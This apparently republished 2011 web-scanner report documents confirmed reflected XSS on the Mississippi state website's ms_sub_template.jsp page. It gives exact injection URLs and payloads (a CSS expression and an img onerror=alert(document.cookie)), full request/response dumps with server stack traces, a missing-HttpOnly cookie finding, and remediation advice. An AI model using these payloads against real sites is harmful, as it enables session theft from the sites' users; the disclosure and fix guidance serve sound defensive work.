XSS, Cross Site Scripting in ms.gov, CWE-79, CAPEC-86, DORK, GHDB

ms.gov, XSS, GHDB DORK REPORT SUMMARY

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler
Loading

Netsparker - Scan Report Summary
TARGET URL
http://www.ms.gov/ms_sub_template.jsp?Categor...
SCAN DATE
4/30/2011 6:57:49 AM
REPORT DATE
4/30/2011 7:15:33 AM
SCAN DURATION
00:00:31
2
identified
2
confirmed
0
critical
0
informational

GHDB DORK Tests

Scan Settings
PROFILE
Previous Settings
ENABLED ENGINES
Static Tests, Find Backup Files, Blind Command Injection, Blind SQL Injection, Boolean SQL Injection, Command Injection, HTTP Header Injection, Local File Inclusion, Open Redirection, Remote Code Evaluation, Remote File Inclusion, SQL Injection, Cross-site Scripting
Authentication
Scheduled

GHDB, DORK VULNERABILITIES

Vulnerabilities
Netsparker - Web Application Security Scanner
IMPORTANT
50 %
LOW
50 %

GHDB, DORK VULNERABILITY SUMMARY

Vulnerability Summary
URL Parameter Method Vulnerability Confirmed
/ms_sub_template.jsp Category_ID GET Cross-site Scripting Yes
Cookie Not Marked As HttpOnly Yes
Cross-site Scripting

Cross-site Scripting

1 TOTAL
IMPORTANT
CONFIRMED
1
XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (Javascript, VbScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.

XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.

Impact

There are many different attacks that can be leveraged through the use of XSS, including:

Remedy

The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.

Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.

There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.

Remedy References

External References

- /ms_sub_template.jsp

/ms_sub_template.jsp CONFIRMED

http://www.ms.gov/ms_sub_template.jsp?Category_ID=%22%20stYle=%22x:expre/**/ssion(alert(9))

Parameters

Parameter Type Value
Category_ID GET " stYle="x:expre/**/ssion(alert(9))

Request

GET /ms_sub_template.jsp?Category_ID=%22%20stYle=%22x:expre/**/ssion(netsparker(9)) HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)
Cache-Control: no-cache
Host: www.ms.gov
Cookie: JSESSIONID=0000BKyMmsavceCu_RVg7578zCY:-1
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
content-language: en-US
content-type: text/html;charset=ISO-8859-1
date: Sat, 30 Apr 2011 11:56:25 GMT
p3p: CP="NON CUR OTPi OUR NOR UNI"
server: IBM_HTTP_Server
transfer-encoding: chunked
x-wily-info: Clear guid=A64450950A0C1A16441A441A89C629E8
x-wily-servlet: Encrypt1 eKjr2dtguqhf01QzjJGZfnkVxccL1ZGHaBHZyFn/EHcuLTm8hVb5g9io4wdLOGTuihBqOw4kf1Qclg0j4FilHUG1V9zgQBAvmGanPPuAtYZWQHtAYSklg01qYE0ZX2Lg7mlNPl70nzYjDbgcmgGlwN5cwgPMSSUR4pTaqrepuY13rHldvZD7gDNVAx04SG1D


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">









<html>
<head>
<title> | The Official State Web Site of Mississippi</title>
<link href="ms02.css" rel="stylesheet" type="text/css">
</head>

<body bgcolor="#ffffff" marginheight="0" marginwidth="0" topmargin="0" leftmargin="0">





<!-- begin adaptive technology instructions and top banner/top nav/search-->

<!-- begin adaptive technology instructions -->
<table width="740" cellpadding="0" cellspacing="0" border="0">
<tr>
<td bgcolor="#ffffff" class="assistive" tabindex="1">Welcome to the Official State Web Site of Mississippi. This site is compatible with assistive technology. <a href="#nonav" class="assistive">Skip navigation links</a></td>
</tr>
</table>
<!-- end adaptive technology instructions -->

<!-- begin top banner/top nav/search -->
<table width="760" cellpadding="0" cellspacing="0" border="0">
<tr>
<td rowspan="3">
<table width="76" cellpadding="0" cellspacing="0" border="0">
<tr>
<td><img src="images/gfx_banner_01.jpg" width="76" height="100" border="0" alt="State outline on swamp"></td>
</tr>
</table>
</td>
<td valign="top"><img src="images/gfx_banner_02.jpg" width="445" height="57" border="0" alt="Mississippi.gov logo and photo of state capitol"></td>
<td valign="top"><img src="images/gfx_banner_03.jpg" width="239" height="57" border="0" alt="Photo of antebellum home"></td>
</tr>
<tr>
<td valign="top" bgcolor="#406618">
<table width="445" cellpadding="0" cellspacing="0" border="0">
<tr>
<td colspan="6" valign="top"><img src="images/gfx_banner_04.jpg" width="445" height="24" border="0" alt=""></td>
</tr>

<tr>
<td><img src="images/nothing.gif" width="3" height="1" border="0" alt=""><a href="index.jsp" tabindex="2"><img src="images/btn_home_off.gif" width="42" height="16" border="0" alt="Home"></a><img src="images/nothing.gif" width="6" height="1" border="0" alt=""><br><img src="images/nothing.gif" width="1" height="3" border="0" alt=""></td>
<td><a href="about_ms.jsp" tabindex="3"><img src="images/btn_about_ms_off.gif" width="109" height="16" border="0" alt="About Mississippi"></a><img src="images/nothing.gif" width="6" height="1" border="0" alt=""><br><img src="images/nothing.gif" width="1" height="3" border="0" alt=""></td>
<td><a href="site_index.jsp" tabindex="4"><img src="images/btn_site_index_off.gif" width="64" height="16" border="0" alt="Site Index"></a><img src="images/nothing.gif" width="6" height="1" border="0" alt=""><br><img src="images/nothing.gif" width="1" height="3" border="0" alt=""></td>
<td><a href="state_agencies_alpha.jsp?Category_ID=16" tabindex="5"><img src="images/btn_state_agencies_off.gif" width="89" height="16" border="0" alt="State Agencies"></a><img src="images/nothing.gif" width="6" height="1" border="0" alt=""><br><img src="images/nothing.gif" width="1" height="3" border="0" alt=""></td>
<td><a href="contact_us.jsp" tabindex="6"><img src="images/btn_contact_us_off.gif" width="73" height="16" border="0" alt="Contact Us"></a><img src="images/nothing.gif" width="6" height="1" border="0" alt=""><br><img src="images/nothing.gif" width="1" height="3" border="0" alt=""></td>
<td><img src="images/nothing.gif" width="35" height="1" border="0" alt=""></td>
</tr>
</table>
</td>
<td valign="middle" bgcolor="#406618">
<!-- Begin search code -->

<table width="239" cellpadding="0" cellspacing="0" border="0">
<form method="post" action="http://www.search.ms.gov/query.html?col=disqi&col=allqi&col=allqs&ht=0&qp=&qs=&qc=&pw=100%25&ws=0&qm=0&st=1&nh=10&lk=1&rf=0&rq=0&si=0">

<tr>
<td><img src="images/nothing.gif" width="6" height="1" border="0" alt=""></td>
<td><span class="search"><label for="search">SEARCH</label></span></td>
<td><img src="images/nothing.gif" width="2" height="1" border="0" alt=""></td>
<td><input type="text" name="qt" align="left" size="12" value="" maxlength=2033 tabindex="7" class="searchbox" id="search"></td>
<td valign="top"><input type="image" src="images/btn_go_search.gif" width="29" height="30" border="0" alt="Go" tabindex="8"></td>
<td valign="top"><a href="http://www.search.ms.gov/help/index.html"><img src="images/btn_help_search.gif" width="29" height="34" border="0" alt="Search help" tabindex="9"></a></td>
</tr>
</form>
</table>

<!-- End search code --></TD>
</TR>

</TABLE>
<!-- end top banner/top nav/search -->

<!-- begin main table -->
<table width="760" cellpadding="0" cellspacing="0" border="0">
<tr>

<!-- begin left nav -->
<td width="179" valign="top" background="images/fill_008bc2.gif">
<table width="179" cellpadding="0" cellspacing="0" border="0" background="">
<tr>
<td width="179" bgcolor="#406618"><img src="images/gfx_banner_05.jpg" width="76" height="22" border="0" alt=""></td>
</tr>
<tr>
<td bgcolor="#000000"><img src="images/nothing.gif" width="179" height="1" border="0" alt=""></td>
</tr>
<tr>
<td><img src="images/nothing.gif" width="179" height="7" border="0" alt=""></td>
</tr>




</table>
</td>
<!-- end left nav -->

<a name="nonav"></a>

<!-- begin main content area -->
<td width="431" valign="top">
<table width="431" cellpadding="0" cellspacing="0" border="0">
<tr>
<td width="3"><!-- begin left gutter, please leave this here! please! --><img src="images/nothing.gif" width="3" height="1" border="0" alt=""><!-- end left gutter, please leave this here! please! --></td>
<td width="428" align="center">

<!-- begin fast facts -->
<table width="428" cellpadding="0" cellspacing="0" border="0">
<tr>
<td width="273" align="center" valign="top">
<table width="255" cellpadding="0" cellspacing="0" border="0">
<tr>
<td><img src="images/nothing.gif" width="1" height="22" border="0" alt=""></td>
</tr>
<tr>
<td><img src="images/hdr_" stYle="x:expre/**/ssion(netsparker(9)).gif" width="253" height="21" border="0" alt=""></td>
</tr>
<tr>
<td><img src="images/nothing.gif" width="1" height="3" border="0" alt=""></td>
</tr>
<tr>
<td><span class="fastfacts">Fast Facts</span></td>
</tr>
<tr>
<td><img src="images/nothing.gif" width="1" height="4" border="0" alt=""></td>
</tr>
<tr>
<td align="center">
<table width="240" cellpadding="3" cellspacing="0" border="0">



</table>
</td>
</tr>
</table>
</td>




</tr>
</table>
<!-- end fast facts -->

<!-- begin spacer table -->
<table width="416" cellpadding="0" cellspacing="0" border="0">
<tr>
<td><img src="images/nothing.gif" width="1" height="32" border="0" alt=""></td>
</tr>
</table>
<!-- end spacer table -->

<!-- begin mississippi government sub-nav - split into rows to maintain horizontal alignment -->



<HTML><HEAD><title>JSP Processing Error</title><style type="text/css">#mybox{padding: 0.5em;border: noborder; border-width: thin; width: 100%;}</style><style type="text/css">h2 { text-align: justify;color:#5555FF;font-size:15pt;font-family: Verdana, Helvitica, sans-serif;font-weight:bold}</style></HEAD><BODY><h2>JSP Processing Error</h2><TABLE BORDER=2 BGCOLOR="#DDDDFF"><TR VALIGN="BOTTOM"><TD BGCOLOR="#C2B0D6" ><B><FONT FACE="Verdana, Helvitica, sans-serif" COLOR="black" SIZE="4PT">HTTP Error Code:&nbsp;&nbsp;&nbsp;404</B><BR><BR></TD></TR><TR><TD><B>Error Message:</B><div id="mybox"><PRE>JSPG0036E: Failed to find resource /components/&quot; stYle=&quot;x:expre/**/ssion&#40;netsparker&#40;9&#41;&#41;.jsp<BR></PRE></div></TD></TR><TR><TD><B>Root Cause:</B><div id="mybox"><PRE>java.io.FileNotFoundException: JSPG0036E: Failed to find resource /components/&quot; stYle=&quot;x:expre/**/ssion&#40;netsparker&#40;9&#41;&#41;.jsp<BR> at java.lang.Throwable.&lt;init&gt;&#40;Throwable.java:67&#41;<BR> at com.ibm.ws.jsp.webcontainerext.AbstractJSPExtensionProcessor.findWrapper&#40;AbstractJSPExtensionProcessor.java:353&#41;<BR> at com.ibm.ws.jsp.webcontainerext.AbstractJSPExtensionProcessor.handleRequest&#40;AbstractJSPExtensionProcessor.java:336&#41;<BR> at com.ibm.ws.webcontainer.webapp.WebAppRequestDispatcher.include&#40;WebAppRequestDispatcher.java:673&#41;<BR> at org.apache.jasper.runtime.JspRuntimeLibrary.include&#40;JspRuntimeLibrary.java:1045&#41;<BR> at org.apache.jasper.runtime.JspRuntimeLibrary.include&#40;JspRuntimeLibrary.java:1006&#41;<BR> at com.ibm._jsp._ms_5F_sub_5F_template._jspService&#40;_ms_5F_sub_5F_template.java:372&#41;<BR> at com.ibm.ws.jsp.runtime.HttpJspBase.service&#40;HttpJspBase.java:98&#41;<BR> at javax.servlet.http.HttpServlet.service&#40;HttpServlet.java:831&#41;<BR> at com.ibm.ws.webcontainer.servlet.ServletWrapper.service&#40;ServletWrapper.java:1655&#41;<BR> at com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest&#40;ServletWrapper.java:937&#41;<BR> at com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest&#40;ServletWrapper.java:500&#41;<BR> at com.ibm.ws.webcontainer.servlet.ServletWrapperImpl.handleRequest&#40;ServletWrapperImpl.java:178&#41;<BR> at com.ibm.wsspi.webcontainer.servlet.GenericServletWrapper.handleRequest&#40;GenericServletWrapper.java:121&#41;<BR> at com.ibm.ws.jsp.webcontainerext.AbstractJSPExtensionServletWrapper.handleRequest&#40;AbstractJSPExtensionServletWrapper.java:239&#41;<BR> at com.ibm.ws.webcontainer.servlet.CacheServletWrapper.handleRequest&#40;CacheServletWrapper.java:91&#41;<BR> at com.ibm.ws.webcontainer.WebContainer.handleRequest&#40;WebContainer.java:864&#41;<BR> at com.ibm.ws.webcontainer.WSWebContainer.handleRequest&#40;WSWebContainer.java:1583&#41;<BR> at com.ibm.ws.webcontainer.channel.WCChannelLink.ready&#40;WCChannelLink.java:186&#41;<BR> at com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.handleDiscrimination&#40;HttpInboundLink.java:455&#41;<BR> at com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.handleNewInformation&#40;HttpInboundLink.java:384&#41;<BR> at com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.ready&#40;HttpInboundLink.java:272&#41;<BR> at com.ibm.ws.tcp.channel.impl.NewConnectionInitialReadCallback.sendToDiscriminators&#40;NewConnectionInitialReadCallback.java:214&#41;<BR> at com.ibm.ws.tcp.channel.impl.NewConnectionInitialReadCallback.complete&#40;NewConnectionInitialReadCallback.java:113&#41;<BR> at com.ibm.ws.tcp.channel.impl.AioReadCompletionListener.futureCompleted&#40;AioReadCompletionListener.java:165&#41;<BR> at com.ibm.io.async.AbstractAsyncFuture.invokeCallback&#40;AbstractAsyncFuture.java:217&#41;<BR> at com.ibm.io.async.AsyncChannelFuture$1.run&#40;AsyncChannelFuture.java:205&#41;<BR> at com.ibm.ws.util.ThreadPool$Worker.run&#40;ThreadPool.java:1550&#41;<BR><BR></PRE></div></TD></TR></TABLE></BODY></HTML>


<!-- end mississippi governement sub-nav - split into rows to maintain horizontal alignment -->

<!-- begin spacer table -->
<table width="416" cellpadding="0" cellspacing="0" border="0">
<tr>
<td><img src="images/nothing.gif" width="1" height="20" border="0" alt=""></td>
</tr>
</table>
<!-- end spacer table -->

<!-- begin state seal -->
<table width="416" cellpadding="0" cellspacing="0" border="0">
<tr>
<td align="center"><img src="images/gfx_state_seal.gif" width="57" height="57" border="0" alt="Mississippi State Seal"></td>
</tr>
</table>
<!-- end state seal -->

<!-- begin spacer table -->
<table width="416" cellpadding="0" cellspacing="0" border="0">
<tr>
<td><img src="images/nothing.gif" width="1" height="20" border="0" alt=""></td>
</tr>
</table>
<!-- end spacer table -->

</td>
</tr>
</table>
</td>
<!-- end main content area -->

<!-- begin right nav -->
<td width="150" align="center" valign="top" bgcolor="#bcce96">
<table width="150" cellpadding="0" cellspacing="0" border="0">
<tr>
<td width="8"><img src="images/nothing.gif" width="8" height="1" border="0" alt=""></td>
<td width="138">

<!-- begin spacer table -->
<table width="138" cellpadding="0" cellspacing="0" border="0">
<tr>
<td><img src="images/nothing.gif" width="1" height="16" border="0" alt="">&..
Cookie Not Marked As HttpOnly

Cookie Not Marked As HttpOnly

1 TOTAL
LOW
CONFIRMED
1
Cookie was not marked as HTTPOnly. HTTPOnly cookies can not be read by client-side scripts therefore marking a cookie as HTTPOnly can provide an additional layer of protection against Cross-site Scripting attacks..

Impact

During a Cross-site Scripting attack an attacker might easily access cookies and hijack the victim's session.

Actions to Take

  1. See the remedy for solution
  2. Consider marking all of the cookies used by the application as HTTPOnly (After these changes javascript code will not able to read cookies.

Remedy

Mark the cookie as HTTPOnly. This will be an extra layer of defence against XSS. However this is not a silver bullet and will not protect the system against Cross-site Scripting attacks. An attacker can use a tool such as XSS Tunnel to bypass HTTPOnly protection.

External References

- /ms_sub_template.jsp

/ms_sub_template.jsp CONFIRMED

http://www.ms.gov/ms_sub_template.jsp?Category_ID=46e740%22%3E%3Cimg%20src%3da%20onerror%3dalert(doc..

Identified Cookie

JSESSIONID

Request

GET /ms_sub_template.jsp?Category_ID=46e740%22%3E%3Cimg%20src%3da%20onerror%3dalert(document.cookie)%3Ea3b5706621b HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)
Cache-Control: no-cache
Host: www.ms.gov
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
content-language: en-US
content-type: text/html;charset=ISO-8859-1
date: Sat, 30 Apr 2011 11:55:57 GMT
p3p: CP="NON CUR OTPi OUR NOR UNI"
server: IBM_HTTP_Server
transfer-encoding: chunked
x-wily-info: Clear guid=A643E4250A0C1A16441A441A345E5175
cache-control: no-cache="set-cookie, set-cookie2"
expires: Thu, 01 Dec 1994 16:00:00 GMT
x-wily-servlet: Encrypt1 eKjr2dtguqhf01QzjJGZfnkVxccL1ZGHaBHZyFn/EHcuLTm8hVb5g9io4wdLOGTuihBqOw4kf1Qclg0j4FilHUG1V9zgQBAvmGanPPuAtYZWQHtAYSklg01qYE0ZX2Lg7mlNPl70nzYjDbgcmgGlwN5cwgPMSSUR4pTaqrepuY13rHldvZD7gDNVAx04SG1D
Set-Cookie: JSESSIONID=0000BKyMmsavceCu_RVg7578zCY:-1; Path=/


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">









<html>
<head>
<title> | The Official State Web Site of Mississippi</title>
<link href="ms02.css" rel="stylesheet" type="text/css">
</head>

<body bgcolor="#ffffff" marginheight="0" marginwidth="0" topmargin="0" leftmargin="0">





<!-- begin adaptive technology instructions and top banner/top nav/search-->

<!-- begin adaptive technology instructions -->
<table width="740" cellpadding="0" cellspacing="0" border="0">
<tr>
<td bgcolor="#ffffff" class="assistive" tabindex="1">Welcome to the Official State Web Site of Mississippi. This site is compatible with assistive technology. <a href="#nonav" class="assistive">Skip navigation links</a></td>
</tr>
</table>
<!-- end adaptive technology instructions -->

<!-- begin top banner/top nav/search -->
<table width="760" cellpadding="0" cellspacing="0" border="0">
<tr>
<td rowspan="3">
<table width="76" cellpadding="0" cellspacing="0" border="0">
<tr>
<td><img src="images/gfx_banner_01.jpg" width="76" height="100" border="0" alt="State outline on swamp"></td>
</tr>
</table>
</td>
<td valign="top"><img src="images/gfx_banner_02.jpg" width="445" height="57" border="0" alt="Mississippi.gov logo and photo of state capitol"></td>
<td valign="top"><img src="images/gfx_banner_03.jpg" width="239" height="57" border="0" alt="Photo of antebellum home"></td>
</tr>
<tr>
<td valign="top" bgcolor="#406618">
<table width="445" cellpadding="0" cellspacing="0" border="0">
<tr>
<td colspan="6" valign="top"><img src="images/gfx_banner_04.jpg" width="445" height="24" border="0" alt=""></td>
</tr>

<tr>
<td><img src="images/nothing.gif" width="3" height="1" border="0" alt=""><a href="index.jsp" tabindex="2"><img src="images/btn_home_off.gif" width="42" height="16" border="0" alt="Home"></a><img src="images/nothing.gif" width="6" height="1" border="0" alt=""><br><img src="images/nothing.gif" width="1" height="3" border="0" alt=""></td>
<td><a href="about_ms.jsp" tabindex="3"><img src="images/btn_about_ms_off.gif" width="109" height="16" border="0" alt="About Mississippi"></a><img src="images/nothing.gif" width="6" height="1" border="0" alt=""><br><img src="images/nothing.gif" width="1" height="3" border="0" alt=""></td>
<td><a href="site_index.jsp" tabindex="4"><img src="images/btn_site_index_off.gif" width="64" height="16" border="0" alt="Site Index"></a><img src="images/nothing.gif" width="6" height="1" border="0" alt=""><br><img src="images/nothing.gif" width="1" height="3" border="0" alt=""></td>
<td><a href="state_agencies_alpha.jsp?Category_ID=16" tabindex="5"><img src="images/btn_state_agencies_off.gif" width="89" height="16" border="0" alt="State Agencies"></a><img src="images/nothing.gif" width="6" height="1" border="0" alt=""><br><img src="images/nothing.gif" width="1" height="3" border="0" alt=""></td>
<td><a href="contact_us.jsp" tabindex="6"><img src="images/btn_contact_us_off.gif" width="73" height="16" border="0" alt="Contact Us"></a><img src="images/nothing.gif" width="6" height="1" border="0" alt=""><br><img src="images/nothing.gif" width="1" height="3" border="0" alt=""></td>
<td><img src="images/nothing.gif" width="35" height="1" border="0" alt=""></td>
</tr>
</table>
</td>
<td valign="middle" bgcolor="#406618">
<!-- Begin search code -->

<table width="239" cellpadding="0" cellspacing="0" border="0">
<form method="post" action="http://www.search.ms.gov/query.html?col=disqi&col=allqi&col=allqs&ht=0&qp=&qs=&qc=&pw=100%25&ws=0&qm=0&st=1&nh=10&lk=1&rf=0&rq=0&si=0">

<tr>
<td><img src="images/nothing.gif" width="6" height="1" border="0" alt=""></td>
<td><span class="search"><label for="search">SEARCH</label></span></td>
<td><img src="images/nothing.gif" width="2" height="1" border="0" alt=""></td>
<td><input type="text" name="qt" align="left" size="12" value="" maxlength=2033 tabindex="7" class="searchbox" id="search"></td>
<td valign="top"><input type="image" src="images/btn_go_search.gif" width="29" height="30" border="0" alt="Go" tabindex="8"></td>
<td valign="top"><a href="http://www.search.ms.gov/help/index.html"><img src="images/btn_help_search.gif" width="29" height="34" border="0" alt="Search help" tabindex="9"></a></td>
</tr>
</form>
</table>

<!-- End search code --></TD>
</TR>

</TABLE>
<!-- end top banner/top nav/search -->

<!-- begin main table -->
<table width="760" cellpadding="0" cellspacing="0" border="0">
<tr>

<!-- begin left nav -->
<td width="179" valign="top" background="images/fill_008bc2.gif">
<table width="179" cellpadding="0" cellspacing="0" border="0" background="">
<tr>
<td width="179" bgcolor="#406618"><img src="images/gfx_banner_05.jpg" width="76" height="22" border="0" alt=""></td>
</tr>
<tr>
<td bgcolor="#000000"><img src="images/nothing.gif" width="179" height="1" border="0" alt=""></td>
</tr>
<tr>
<td><img src="images/nothing.gif" width="179" height="7" border="0" alt=""></td>
</tr>




</table>
</td>
<!-- end left nav -->

<a name="nonav"></a>

<!-- begin main content area -->
<td width="431" valign="top">
<table width="431" cellpadding="0" cellspacing="0" border="0">
<tr>
<td width="3"><!-- begin left gutter, please leave this here! please! --><img src="images/nothing.gif" width="3" height="1" border="0" alt=""><!-- end left gutter, please leave this here! please! --></td>
<td width="428" align="center">

<!-- begin fast facts -->
<table width="428" cellpadding="0" cellspacing="0" border="0">
<tr>
<td width="273" align="center" valign="top">
<table width="255" cellpadding="0" cellspacing="0" border="0">
<tr>
<td><img src="images/nothing.gif" width="1" height="22" border="0" alt=""></td>
</tr>
<tr>
<td><img src="images/hdr_46e740"><img src=a onerror=alert(document.cookie)>a3b5706621b.gif" width="253" height="21" border="0" alt=""></td>
</tr>
<tr>
<td><img src="images/nothing.gif" width="1" height="3" border="0" alt=""></td>
</tr>
<tr>
<td><span class="fastfacts">Fast Facts</span></td>
</tr>
<tr>
<td><img src="images/nothing.gif" width="1" height="4" border="0" alt=""></td>
</tr>
<tr>
<td align="center">
<table width="240" cellpadding="3" cellspacing="0" border="0">



</table>
</td>
</tr>
</table>
</td>




</tr>
</table>
<!-- end fast facts -->

<!-- begin spacer table -->
<table width="416" cellpadding="0" cellspacing="0" border="0">
<tr>
<td><img src="images/nothing.gif" width="1" height="32" border="0" alt=""></td>
</tr>
</table>
<!-- end spacer table -->

<!-- begin mississippi government sub-nav - split into rows to maintain horizontal alignment -->



<HTML><HEAD><title>JSP Processing Error</title><style type="text/css">#mybox{padding: 0.5em;border: noborder; border-width: thin; width: 100%;}</style><style type="text/css">h2 { text-align: justify;color:#5555FF;font-size:15pt;font-family: Verdana, Helvitica, sans-serif;font-weight:bold}</style></HEAD><BODY><h2>JSP Processing Error</h2><TABLE BORDER=2 BGCOLOR="#DDDDFF"><TR VALIGN="BOTTOM"><TD BGCOLOR="#C2B0D6" ><B><FONT FACE="Verdana, Helvitica, sans-serif" COLOR="black" SIZE="4PT">HTTP Error Code:&nbsp;&nbsp;&nbsp;404</B><BR><BR></TD></TR><TR><TD><B>Error Message:</B><div id="mybox"><PRE>JSPG0036E: Failed to find resource /components/46e740&quot;&gt;&lt;img src=a onerror=alert&#40;document.cookie&#41;&gt;a3b5706621b.jsp<BR></PRE></div></TD></TR><TR><TD><B>Root Cause:</B><div id="mybox"><PRE>java.io.FileNotFoundException: JSPG0036E: Failed to find resource /components/46e740&quot;&gt;&lt;img src=a onerror=alert&#40;document.cookie&#41;&gt;a3b5706621b.jsp<BR> at java.lang.Throwable.&lt;init&gt;&#40;Throwable.java:67&#41;<BR> at com.ibm.ws.jsp.webcontainerext.AbstractJSPExtensionProcessor.findWrapper&#40;AbstractJSPExtensionProcessor.java:353&#41;<BR> at com.ibm.ws.jsp.webcontainerext.AbstractJSPExtensionProcessor.handleRequest&#40;AbstractJSPExtensionProcessor.java:336&#41;<BR> at com.ibm.ws.webcontainer.webapp.WebAppRequestDispatcher.include&#40;WebAppRequestDispatcher.java:673&#41;<BR> at org.apache.jasper.runtime.JspRuntimeLibrary.include&#40;JspRuntimeLibrary.java:1045&#41;<BR> at org.apache.jasper.runtime.JspRuntimeLibrary.include&#40;JspRuntimeLibrary.java:1006&#41;<BR> at com.ibm._jsp._ms_5F_sub_5F_template._jspService&#40;_ms_5F_sub_5F_template.java:372&#41;<BR> at com.ibm.ws.jsp.runtime.HttpJspBase.service&#40;HttpJspBase.java:98&#41;<BR> at javax.servlet.http.HttpServlet.service&#40;HttpServlet.java:831&#41;<BR> at com.ibm.ws.webcontainer.servlet.ServletWrapper.service&#40;ServletWrapper.java:1655&#41;<BR> at com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest&#40;ServletWrapper.java:937&#41;<BR> at com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest&#40;ServletWrapper.java:500&#41;<BR> at com.ibm.ws.webcontainer.servlet.ServletWrapperImpl.handleRequest&#40;ServletWrapperImpl.java:178&#41;<BR> at com.ibm.wsspi.webcontainer.servlet.GenericServletWrapper.handleRequest&#40;GenericServletWrapper.java:121&#41;<BR> at com.ibm.ws.jsp.webcontainerext.AbstractJSPExtensionServletWrapper.handleRequest&#40;AbstractJSPExtensionServletWrapper.java:239&#41;<BR> at com.ibm.ws.webcontainer.servlet.CacheServletWrapper.handleRequest&#40;CacheServletWrapper.java:91&#41;<BR> at com.ibm.ws.webcontainer.WebContainer.handleRequest&#40;WebContainer.java:864&#41;<BR> at com.ibm.ws.webcontainer.WSWebContainer.handleRequest&#40;WSWebContainer.java:1583&#41;<BR> at com.ibm.ws.webcontainer.channel.WCChannelLink.ready&#40;WCChannelLink.java:186&#41;<BR> at com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.handleDiscrimination&#40;HttpInboundLink.java:455&#41;<BR> at com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.handleNewInformation&#40;HttpInboundLink.java:384&#41;<BR> at com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.ready&#40;HttpInboundLink.java:272&#41;<BR> at com.ibm.ws.tcp.channel.impl.NewConnectionInitialReadCallback.sendToDiscriminators&#40;NewConnectionInitialReadCallback.java:214&#41;<BR> at com.ibm.ws.tcp.channel.impl.NewConnectionInitialReadCallback.complete&#40;NewConnectionInitialReadCallback.java:113&#41;<BR> at com.ibm.ws.tcp.channel.impl.AioReadCompletionListener.futureCompleted&#40;AioReadCompletionListener.java:165&#41;<BR> at com.ibm.io.async.AbstractAsyncFuture.invokeCallback&#40;AbstractAsyncFuture.java:217&#41;<BR> at com.ibm.io.async.AsyncChannelFuture$1.run&#40;AsyncChannelFuture.java:205&#41;<BR> at com.ibm.ws.util.ThreadPool$Worker.run&#40;ThreadPool.java:1550&#41;<BR><BR></PRE></div></TD></TR></TABLE></BODY></HTML>


<!-- end mississippi governement sub-nav - split into rows to maintain horizontal alignment -->

<!-- begin spacer table -->
<table width="416" cellpadding="0" cellspacing="0" border="0">
<tr>
<td><img src="images/nothing.gif" width="1" height="20" border="0" alt=""></td>
</tr>
</table>
<!-- end spacer table -->

<!-- begin state seal -->
<table width="416" cellpadding="0" cellspacing="0" border="0">
<tr>
<td align="center"><img src="images/gfx_state_seal.gif" width="57" height="57" border="0" alt="Mississippi State Seal"></td>
</tr>
</table>
<!-- end state seal -->

<!-- begin spacer table -->
<table width="416" cellpadding="0" cellspacing="0" border="0">
<tr>
<td><img src="images/nothing.gif" width="1" height="20" border="0" alt=""></td>
</tr>
</table>
<!-- end spacer table -->

</td>
</tr>
</table>
</td>
<!-- end main content area -->

<!-- begin right nav -->
<td width="150" align="center" valign="top" bgcolor="#bcce96">
<table width="150" cellpadding="0" cellspacing="0" border="0">
<tr>
<td width="8"><img src="images/nothing.gif" width="8" height="1" border="0" alt=""></td>
<td width="138">

<!-- begin spacer table -->
<table width="138" cellpadding=&qu..